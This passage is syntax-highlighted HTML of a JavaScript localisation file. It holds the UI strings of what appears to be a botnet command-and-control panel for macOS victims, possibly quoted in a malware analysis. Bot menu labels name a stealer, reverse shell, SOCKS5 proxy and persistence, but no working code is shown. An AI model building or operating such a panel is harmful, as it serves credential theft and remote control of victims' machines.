font-style: inherit;">password</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-38">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cancel`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-39">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">create</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Create`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-40">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">save</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Save`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-41">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">processing</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Processing...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-42">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirm</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-43">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">close</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Close`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-44">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteUserPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete user {{username}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-45">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`SAFE EXIT`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-46">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExitTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm Safe Exit`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-47">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExitPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to perform a Safe Exit? This action will destroy the current session.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-48">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExitWarning</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`This action cannot be undone`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-49">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loginAs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Login as`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-50">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loginAsUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Login as User`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-51">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteWarning</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`This action cannot be undone`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-52">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleting</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Deleting...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-53">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateFormat</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`MM.DD.YYYY`</span></span>
<span id="cb28-54">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-55">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">auth</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-56">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">login</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Login`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-57">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">password</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-58">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">signIn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Sign in`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-59">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">signingIn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Signing in...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-60">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">welcomeBack</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Welcome Back`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-61">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loginToAccount</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Login to your account to continue`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-62">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enterUsername</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enter your username`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-63">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enterPassword</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enter your password`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-64">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidCredentials</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Invalid credentials. Attempts remaining: {{count}}. Please try again.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-65">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">secureLogin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Your connection is secure and encrypted`</span></span>
<span id="cb28-66">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-67">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">blacklist</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-68">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Black List Management`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-69">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">searchPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Search by IP...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-70">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ipAddress</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP Address`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-71">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-72">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-73">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Loading...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-74">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noIpFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No IPs found for your search.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-75">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">empty</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`The blacklist is empty.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-76">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmDeleteTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm Deletion`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-77">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmDeletePrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to delete the IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-78">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">backToAdmin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Back to Admin`</span></span>
<span id="cb28-79">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-80">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-81">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">botLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Bot`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-82">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">online</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Online`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-83">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">offline</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Offline`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-84">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">repeatPersistent</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Repeat Persistent`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-85">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete all bots`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-86">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">searchPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Search by IP...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-87">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">id</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-88">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-89">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">macOS</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`MacOS`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-90">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">lastConnect</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Last connect`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-91">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">persistent</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Persistent`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-92">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">status</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Status`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-93">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-94">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">country</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Country`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-95">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yes</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Yes`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-96">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">no</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-97">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Loading bots...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-98">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No bots found.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-99">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">menu</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-100">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">doShell</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Do shell`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-101">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">repeatStealer</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Repeat stealer`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-102">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableSocks</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enable Socks5`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-103">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableShell</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enable Reverse Shell`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-104">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">doPersistent</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Do Persistent`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-105">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteBot</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete bot`</span></span>
<span id="cb28-106">            }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-107">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">never</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Never`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-108">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidTime</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Invalid time`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-109">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">justNow</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`just now`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-110">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}y ago`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-111">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">moAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}mo ago`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-112">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}w ago`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-113">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}d ago`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-114">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">hAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}h ago`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-115">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">mAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}m ago`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-116">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">sAgo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count}s ago`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-117">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">na</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`N/A`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-118">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidDate</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Invalid Date`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-119">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">firstConnect</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`First connect`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-120">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loadingError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error loading bots data.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-121">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">requestFailed</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Request failed with status {{status}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-122">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownFetchError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`An unknown error occurred while fetching proxies.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-123">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socksUrl</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Socks URL`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-124">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Copy`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-125">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">openLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Open Link`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-126">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToDelete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to delete proxy`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-127">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deletedSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Proxy deleted successfully.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-128">            <span class="dt" style="color: #AD0000;
background-color: null;
